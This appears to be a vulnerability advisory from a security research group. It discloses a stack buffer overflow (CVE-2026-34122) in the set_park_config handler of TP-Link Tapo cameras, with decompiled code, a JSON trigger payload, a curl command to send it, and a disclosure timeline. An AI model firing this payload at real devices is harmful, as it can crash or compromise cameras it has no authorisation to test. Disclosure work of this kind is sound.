An attacker sending a malformed HTTP POST request over LAN to a TP-Link Smart camera device can trigger the vulnerability described here.

This report describes a stack buffer overflow, which leads to remote code execution.

The vulnerability we are disclosing in this advisory affected a wide range of TP-Link devices, including TAPO Smart Cameras. A TP-Link Security Advisory released in April 2026 contains this vulnerability as CVE-2026-34122.

Vulnerability Details

There is an unsafe strcpy in the handler function of the set_park_config DS action of the HTTP server in TAPO devices:

ds_set_park_config() {
  iVar1 = get_some_global();
  if (iVar1 != 0) {
    memcpy(&local_48,(void *)(iVar1 + 0x10),0x38);
    action_mode = jso_obj_get_string_origin(root,"enabled");
    if ((action_mode != (char *)0x0) && (local_48 = atoi(action_mode), local_48 != 0)) {
      local_48 = 1;
    }
    action_mode = jso_obj_get_string_origin(root,"park_time");
    if (action_mode != (char *)0x0) {
      local_44 = atoi(action_mode);
    }
    action_token = jso_obj_get_string_origin(root,"action_token");
    if (action_token != (char *)0x0) {
      strcpy(acStack_3c,action_token); // [1]
    }
    // not much else happens...
  }
}

The issue is at the strcpy at [1]. The stack allocated buffer acStack_3c is 44 bytes long, but the action_token string can be arbitrarily long. Since there is no bounds check, this can result in a stack buffer overflow, triggerable as follows after saving the JSON payload in trigger.json and setting HOST envvar to the IP of the device:

{
  "method": "do",
  "ptz": {"set_park_config": {"enabled":"1", "park_time": "2", "action_token": "AAAAA...A"}}, // 60 * "A"
}

curl -k https://$HOST/ -H 'Content-Type: application/json' -d @trigger.json

Affected Devices

• verified: TAPO C520WS
• potentially: TP-Link smart devices using the TAPO architecture

Timeline

• 2025.12.12. Vulnerability reported to TP-Link PSIRT by email.
• 2026.02.04. TP-Link acknowledges the report.
• 2026.03.04. TP-Link confirms vulnerability and asks for time extension. TP-Link also provides erroneous analysis for several other reported vulnerabilities.
• 2026.03.04. TASZK provides update explaining the errors in TP-Link’s assessment regarding other reported vulnerabilities, describing which CVE assignment and advisory detail assessments are incorrect.
• 2026.03.05. TP-Link again asks for a 3 week extension, does not confirm any TASZK analysis.
• 2026.03.06. TASZK confirms that a 3 week extension will be granted for vulnerabilities where a CVE assignment and/or Advisory correction will happen.
• 2026.03.20. TP-Link communicates that this vulnerability (along with some reported at the time) have been fixed and wishes TASZK to provide a black box analysis of a new firmware image. TP-Link does not confirm which submitted vulnerabilities will receive a CVE and/or Advisory correction but ask for another arbitrary extension for only 1 vulnerability.
• 2026.03.23. TASZK confirms that the 3 week extension will be granted if the list of vulnerabilities that are receiving a CVE and/or Advisory correction will be shared, otherwise no other extension will be granted.
• 2026.03.26-04.01. TP-Link attempts to get in touch via several non-official channels, including an attempt to show up at our offices in person uninvited. TP-Link requests additional delay for different vulnerabilities.
• 2026.04.02. End date of original 90 day + 3 week embargo. TASZK highlights that the PSIRT keeps sending plaintext emails with sensitive vulnerability information, points out that non-PSIRT channels are considered out-of-bounds for coordinated disclosure and confirms that embargo windows will not be extended further. TASZK volunteers a 24h notice to TP-Link for advisory release.
• 2026.04.02. TP-Link releases advisory for the vulnerability: https://www.tp-link.com/us/support/faq/5047/
• 2026.04.06. TASZK communicates notice of release to TP-Link.
• 2026.04.28. Advisory released.